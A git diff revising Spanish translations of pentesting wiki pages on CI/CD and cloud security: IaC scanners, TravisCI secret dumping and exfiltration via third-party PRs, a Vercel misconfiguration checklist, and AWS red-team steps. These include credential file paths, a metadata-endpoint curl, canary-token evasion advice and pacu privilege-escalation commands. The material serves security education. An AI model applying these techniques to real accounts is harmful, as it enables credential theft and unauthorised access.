 - **Características:**
 - Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento.
 - Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket).
-- Solicitudes de extracción de corrección automatizadas.
+- Solicitudes de extracción para correcciones automáticas.
 - Consejos detallados de remediación.
 - **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/).
 ```bash
@@ -210,18 +210,18 @@ snyk iac test /path/to/terraform/code
 
 Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos.
 
-Realiza [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs).
+Realiza un [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs).
 ```bash
 pip install checkov
 checkov -d /path/to/folder
 ```
 ### [terraform-compliance](https://github.com/terraform-compliance/cli)
 
-De los [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en la seguridad y el cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
+Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
 
 - **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados.
 - **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC?
-- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/)
+- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Ver [Instalación](https://terraform-compliance.com/pages/installation/)
 - **pre-despliegue:** valida tu código antes de que se despliegue.
 - **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados.
 - **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable.
@@ -235,19 +235,19 @@ terraform-compliance -f /path/to/folder
 ```
 ### [tfsec](https://github.com/aquasecurity/tfsec)
 
-De la [**documentación**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas.
+De los [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas.
 
 - ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos menores) proveedores de nube
 - ⛔ Cientos de reglas integradas
 - 🪆 Escanea módulos (locales y remotos)
 - ➕ Evalúa expresiones HCL así como valores literales
-- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()`
+- ↪️ Evalúa funciones de Terraform e.g. `concat()`
 - 🔗 Evalúa relaciones entre recursos de Terraform
-- 🧰 Compatible con el CDK de Terraform
-- 🙅 Aplica (y embellece) políticas de Rego definidas por el usuario
+- 🧰 Compatible con el Terraform CDK
+- 🙅 Aplica (y embellece) políticas Rego definidas por el usuario
 - 📃 Soporta múltiples formatos de salida: lovely (predeterminado), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
 - 🛠️ Configurable (a través de flags de CLI y/o archivo de configuración)
-- ⚡ Muy rápido, capaz de escanear rápidamente grandes repositorios
+- ⚡ Muy rápido, capaz de escanear rápidamente enormes repositorios
 ```bash
 brew install tfsec
 tfsec /path/to/folder

src/pentesting-ci-cd/todo.md

@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Se aceptan PRs de Github que expliquen cómo (ab)usar esas plataformas desde la perspectiva de un atacante
+Las PRs de Github son bienvenidas explicando cómo (ab)usar esas plataformas desde la perspectiva de un atacante
 
 - Drone
 - TeamCity

src/pentesting-ci-cd/travisci-security/README.md

@@ -1,10 +1,10 @@
-# TravisCI Security
+# TravisCI Seguridad
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Qué es TravisCI
 
-**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **plataformas git diferentes**.
+**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **diferentes plataformas git**.
 
 {{#ref}}
 basic-travisci-information.md
@@ -20,7 +20,7 @@ Para lanzar un ataque primero necesitas saber cómo disparar una construcción.
 
 #### Trabajos Cron
 
-Si tienes acceso a la aplicación web, puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción:
+Si tienes acceso a la aplicación web puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción:
 
 ![](<../../images/image (243).png>)
 
@@ -29,17 +29,17 @@ Si tienes acceso a la aplicación web, puedes **configurar trabajos cron para ej
 
 ### PR de Terceros
 
-TravisCI, por defecto, desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos:
+TravisCI por defecto desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos:
 
 ![](<../../images/image (208).png>)
 
 ### Volcado de Secretos
 
-Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos personalizados cifrados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados cifrados, terminarán como variables de entorno en las máquinas finales).
+Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos encriptados personalizados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados encriptados, terminarán como variables de entorno en las máquinas finales).
 
-- Para **enumerar secretos** configurados como **Variables de Entorno**, ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción.
-- Para enumerar los **secretos personalizados cifrados**, lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**.
-- Para **enumerar archivos cifrados**, puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves cifradas** en las **Variables de Entorno** como:
+- Para **enumerar secretos** configurados como **Variables de Entorno** ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción.
+- Para enumerar los **secretos encriptados personalizados** lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**.
+- Para **enumerar archivos encriptados** puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves encriptadas** en las **Variables de Entorno** como:
 
 ![](<../../images/image (81).png>)
 

src/pentesting-ci-cd/travisci-security/basic-travisci-information.md

@@ -24,7 +24,7 @@ Es posible indicar las **ramas a las que los secretos estarán disponibles** (po
 
 ### Secretos Encriptados Personalizados
 
-Para **cada repositorio**, TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio.
+Para **cada repositorio** TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio.
 
 Puedes acceder a la clave pública de un repositorio con:
 ```
@@ -57,31 +57,31 @@ Make sure to add super_secret.txt.enc to the git repository.
 Make sure not to add super_secret.txt to the git repository.
 Commit all changes to your .travis.yml.
 ```
-Note que al encriptar un archivo, se configurarán 2 variables de entorno dentro del repositorio, tales como:
+Tenga en cuenta que al cifrar un archivo se configurarán 2 variables de entorno dentro del repositorio, como:
 
 ![](<../../images/image (170).png>)
 
 ## TravisCI Enterprise
 
-Travis CI Enterprise es una **versión on-prem de Travis CI**, que puedes desplegar **en tu infraestructura**. Piensa en la versión ‘servidor’ de Travis CI. Usar Travis CI te permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puedes configurar y asegurar como desees.
+Travis CI Enterprise es una **versión on-prem de Travis CI**, que puede implementar **en su infraestructura**. Piense en la versión 'servidor' de Travis CI. Usar Travis CI le permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puede configurar y asegurar como desee.
 
 **Travis CI Enterprise consta de dos partes principales:**
 
-1. Servicios TCI **(o Servicios Centrales TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc.
-2. TCI **Worker** e imágenes de entorno de compilación (también llamadas imágenes de SO).
+1. Servicios de TCI **(o Servicios Centrales de TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc.
+2. TCI **Worker** e imágenes del entorno de compilación (también llamadas imágenes de SO).
 
-**Los servicios centrales TCI requieren lo siguiente:**
+**Los servicios centrales de TCI requieren lo siguiente:**
 
 1. Una base de datos **PostgreSQL11** (o posterior).
-2. Una infraestructura para desplegar un clúster de Kubernetes; puede ser desplegado en un clúster de servidores o en una sola máquina si es necesario.
-3. Dependiendo de tu configuración, es posible que desees desplegar y configurar algunos de los componentes por tu cuenta, por ejemplo, RabbitMQ - consulta la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles.
+2. Una infraestructura para implementar un clúster de Kubernetes; se puede implementar en un clúster de servidores o en una sola máquina si es necesario.
+3. Dependiendo de su configuración, es posible que desee implementar y configurar algunos de los componentes por su cuenta, por ejemplo, RabbitMQ - consulte la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles.
 
-**El Worker TCI requiere lo siguiente:**
+**El Worker de TCI requiere lo siguiente:**
 
-1. Una infraestructura donde se pueda desplegar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**.
-2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulta la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles.
+1. Una infraestructura donde se pueda implementar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**.
+2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulte la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles.
 
-La cantidad de imágenes de OS de Worker TCI y de entorno de compilación desplegadas determinará la capacidad total concurrente del despliegue de Travis CI Enterprise en tu infraestructura.
+La cantidad de imágenes de OS de Worker de TCI y del entorno de compilación implementadas determinará la capacidad total concurrente de la implementación de Travis CI Enterprise en su infraestructura.
 
 ![](<../../images/image (199).png>)
 

src/pentesting-ci-cd/vercel-security.md

@@ -39,7 +39,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar
 - **Riesgo:** Vulnerable a ataques de hombre en el medio (MITM), comprometiendo la integridad y confidencialidad de los datos.
 - **Implementación de DNSSEC**
 - **Mala Configuración:** No habilitar DNSSEC o configuraciones incorrectas de DNSSEC.
-- **Riesgo:** Mayor susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché.
+- **Riesgo:** Aumento de la susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché.
 - **Entorno utilizado por dominio**
 - **Mala Configuración:** Cambiar el entorno utilizado por el dominio en producción.
 - **Riesgo:** Exponer secretos o funcionalidades potenciales que no deberían estar disponibles en producción.
@@ -72,10 +72,10 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar
 - **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos.
 - **Sensibles deshabilitados**
 - **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados.
-- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible.
+- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible.
 - **Variables de Entorno Compartidas**
 - **Mala Configuración:** Estas son variables de entorno establecidas a nivel de Equipo y también podrían contener información sensible.
-- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible.
+- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible.
 
 ---
 
@@ -104,7 +104,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar
 - **Mala Configuración:** Conceder permisos excesivos a servicios integrados.
 - **Riesgo:** Acceso no autorizado a recursos del proyecto, manipulación de datos o interrupciones del servicio.
 - **Falta de Monitoreo de Integraciones**
-- **Mala Configuración:** No monitorear y auditar integraciones de terceros.
+- **Mala Configuración:** No monitorear ni auditar integraciones de terceros.
 - **Riesgo:** Detección tardía de integraciones comprometidas, aumentando el impacto potencial de las brechas de seguridad.
 
 ---
@@ -132,7 +132,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar
 
 **Opciones de Lista Blanca**
 
-- **Mala Configuración:** Permitir rutas o puntos finales demasiado amplios en la lista blanca.
+- **Mala Configuración:** Permitir rutas demasiado amplias o puntos finales sensibles.
 - **Riesgo:** Los atacantes pueden explotar rutas no protegidas para realizar acciones no autorizadas o eludir verificaciones de seguridad.
 
 **Protección por Contraseña**
@@ -173,19 +173,19 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar
 
 - **Purgar Caché**
 - **Mala Configuración:** Permite eliminar toda la caché.
-- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un potencial DoS.
+- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un posible DoS.
 
 ---
 
-### Tareas Programadas
+### Trabajos Cron
 
-**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos especificados.
+**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos específicos.
 
 #### Configuraciones de Seguridad:
 
-- **Deshabilitar Tarea Programada**
-- **Mala Configuración:** Permite deshabilitar tareas programadas declaradas dentro del código
-- **Riesgo:** Interrupción potencial del servicio (dependiendo de para qué estaban destinadas las tareas programadas)
+- **Deshabilitar Trabajo Cron**
+- **Mala Configuración:** Permite deshabilitar trabajos cron declarados dentro del código
+- **Riesgo:** Posible interrupción del servicio (dependiendo de para qué estaban destinados los trabajos cron)
 
 ---
 
@@ -223,7 +223,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar
 **Política de Retención de Implementaciones**
 
 - **Mala Configuración:** Establecer períodos de retención demasiado cortos (perdiendo el historial de implementaciones) o demasiado largos (retención innecesaria de datos).
-- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o mayor riesgo de exposición de datos de implementaciones antiguas.
+- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o aumento del riesgo de exposición de datos de implementaciones antiguas.
 
 **Implementaciones Recientemente Eliminadas**
 
@@ -343,7 +343,7 @@ Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del e
 
 #### Configuraciones de Seguridad:
 
-- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta opción invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control.
+- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta configuración invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control.
 - **Mala Configuración:** 
 - Especificar el dominio de correo electrónico incorrecto o un dominio mal escrito en la configuración del Dominio de Correo Electrónico del Equipo.
 - Usar un dominio de correo electrónico común (por ejemplo, `gmail.com`, `hotmail.com`) en lugar de un dominio específico de la empresa.
@@ -351,7 +351,7 @@ Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del e
 - **Acceso No Autorizado:** Usuarios con direcciones de correo electrónico de dominios no deseados pueden recibir invitaciones para unirse a tu equipo.
 - **Exposición de Datos:** Exposición potencial de información sensible del proyecto a individuos no autorizados.
 - **Ámbitos de Git Protegidos:** Te permite agregar hasta 5 ámbitos de Git a tu equipo para evitar que otros equipos de Vercel implementen repositorios del ámbito protegido. Múltiples equipos pueden especificar el mismo ámbito, permitiendo el acceso a ambos equipos.
-- **Mala Configuración:** No agregar ámbitos de Git críticos a la lista protegida.
+- **Mala Configuración:** No agregar ámbitos críticos de Git a la lista protegida.
 - **Riesgos:**
 - **Implementaciones No Autorizadas:** Otros equipos pueden implementar repositorios de los ámbitos de Git de tu organización sin autorización.
 - **Exposición de Propiedad Intelectual:** Código propietario podría ser implementado y accesado fuera de tu equipo.
@@ -365,7 +365,7 @@ Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del e
 Conceder acceso a registros de auditoría a miembros no autorizados del equipo.
 - **Riesgos:**
 - **Violaciones de Privacidad:** Exposición de actividades y datos sensibles de usuarios.
-- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para encubrir sus huellas.
+- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para cubrir sus huellas.
 - **SAML Single Sign-On:** Permite la personalización de la autenticación SAML y la sincronización de directorios para tu equipo, habilitando la integración con un Proveedor de Identidad (IdP) para autenticación y gestión de usuarios centralizadas.
 - **Mala Configuración:** Un atacante podría crear una puerta trasera en la configuración del Equipo estableciendo parámetros SAML como ID de Entidad, URL de SSO o huellas digitales de certificados.
 - **Riesgo:** Mantener persistencia
@@ -374,7 +374,7 @@ Conceder acceso a registros de auditoría a miembros no autorizados del equipo.
 - **Riesgos:**
 - **Violaciones de Privacidad:** No cumplimiento con regulaciones de protección de datos como GDPR.
 - **Repercusiones Legales:** Posibles multas y sanciones por manejo inadecuado de datos personales.
-- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear. Las solicitudes bloqueadas no contribuyen a tu facturación.
+- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear en las solicitudes. Las solicitudes bloqueadas no contribuyen a tu facturación.
 - **Mala Configuración:** Podría ser abusada por un atacante para permitir tráfico malicioso o bloquear tráfico legítimo.
 - **Riesgos:**
 - **Denegación de Servicio a Usuarios Legítimos:** Bloqueo de acceso para usuarios o socios válidos.
@@ -392,19 +392,19 @@ Conceder acceso a registros de auditoría a miembros no autorizados del equipo.
 - **Mala Configuración:** Elegir una región de AWS para la red de Cómputo Seguro que no coincida con la región de los servicios de backend.
 - **Riesgo:** Aumento de latencia, posibles problemas de cumplimiento de residencia de datos y degradación del rendimiento.
 2. **Bloques CIDR Superpuestos**
-- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPCs existentes u otras redes.
+- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPC existentes u otras redes.
 - **Riesgo:** Conflictos de red que llevan a conexiones fallidas, acceso no autorizado o filtración de datos entre redes.
 3. **Configuración Incorrecta de Peering de VPC**
 - **Mala Configuración:** Configurar incorrectamente el peering de VPC (por ejemplo, IDs de VPC incorrectos, actualizaciones incompletas de la tabla de rutas).
 - **Riesgo:** Acceso no autorizado a la infraestructura de backend, conexiones seguras fallidas y posibles filtraciones de datos.
 4. **Asignaciones Excesivas de Proyectos**
 - **Mala Configuración:** Asignar múltiples proyectos a una sola red de Cómputo Seguro sin el aislamiento adecuado.
-- **Riesgo:** La exposición de IP compartida aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros.
+- **Riesgo:** La exposición compartida de IP aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros.
 5. **Gestión Inadecuada de Direcciones IP**
 - **Mala Configuración:** No gestionar o rotar adecuadamente las direcciones IP dedicadas.
-- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IPs están asociadas con actividades maliciosas.
+- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IP están asociadas con actividades maliciosas.
 6. **Incluir Contenedores de Construcción Innecesariamente**
-- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso al backend durante las construcciones.
+- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso de backend durante las construcciones.
 - **Riesgo:** Superficie de ataque expandida, retrasos en la provisión y consumo innecesario de recursos de red.
 7. **Falta de Manejo Seguro de Secretos de Bypass**
 - **Mala Configuración:** Exponer o manejar incorrectamente secretos utilizados para eludir protecciones de implementación.
@@ -432,6 +432,6 @@ Conceder acceso a registros de auditoría a miembros no autorizados del equipo.
 - **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos.
 - **Sensibles deshabilitados**
 - **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados.
-- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible.
+- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/README.md

@@ -33,7 +33,7 @@ Para auditar un ambiente de AWS, es muy importante saber: qué **servicios se es
 
 Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de AWS** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo:
 
-- **Filtraciones** en github (o similar) - OSINT
+- **Leaks** en github (o similar) - OSINT
 - **Ingeniería** Social
 - Reutilización de **contraseñas** (filtraciones de contraseñas)
 - Vulnerabilidades en Aplicaciones Alojadas en AWS
@@ -41,11 +41,11 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un amb
 - **Lectura de Archivos Locales**
 - `/home/USERNAME/.aws/credentials`
 - `C:\Users\USERNAME\.aws\credentials`
-- **terceros** **comprometidos**
+- **brechas** de terceros
 - Empleado **Interno**
 - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciales
 
-O comprometiendo un **servicio no autenticado** expuesto:
+O comprometiendo un servicio **no autenticado** expuesto:
 
 {{#ref}}
 aws-unauthenticated-enum-access/
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
 {{#endref}}
 
 > [!NOTE]
-> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, así que necesitas realizar alguna enumeración básica:
+> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica:
 
 ## Enumeración Básica
 
@@ -92,7 +92,7 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic
 > Tenga en cuenta que las empresas pueden usar **canary tokens** para identificar cuándo **se están robando y utilizando tokens**. Se recomienda verificar si un token es un canary token o no antes de usarlo.\
 > Para más información [**ver esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
 
-### Enumeración de Org
+### Enumeración de Organizaciones
 
 {{#ref}}
 aws-services/aws-organizations-enum.md
@@ -115,7 +115,7 @@ aws-services/aws-iam-enum.md
 
 ## Enumeración de Servicios, Post-Explotación y Persistencia
 
-AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
+AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, cheatsheets de enumeración**, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
 
 {{#ref}}
 aws-services/
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
 
 ## Escalación de Privilegios
 
-Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **verificar si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en:
+Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **ver si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en:
 
 {{#ref}}
 aws-privilege-escalation/
@@ -161,7 +161,7 @@ Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita:
 - **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador.
 - Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts`
 - No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**.
-- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`).
+- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se haga pasar por ella, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`).
 
 ## Herramientas Automatizadas
 
@@ -179,7 +179,7 @@ AWS_PROFILE=<profile> aws_recon \
 --verbose
 ```
 - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría para problemas de seguridad.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría de problemas de seguridad.
 ```bash
 # Installation steps in github
 # Create a config.json file with the aws info, like:
@@ -239,7 +239,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
 
 ### Privesc & Exploiting
 
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo a los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
 - [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu es un **framework de explotación de AWS** de código abierto, diseñado para pruebas de seguridad ofensivas contra entornos en la nube. Puede **enumerar**, encontrar **configuraciones incorrectas** y **explotarlas**. Puedes encontrar la **definición de permisos privilegiados** en [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro del diccionario **`user_escalation_methods`**.
 - Ten en cuenta que pacu **solo verifica tus propios caminos de privesc** (no a nivel de cuenta).
 ```bash
@@ -255,7 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
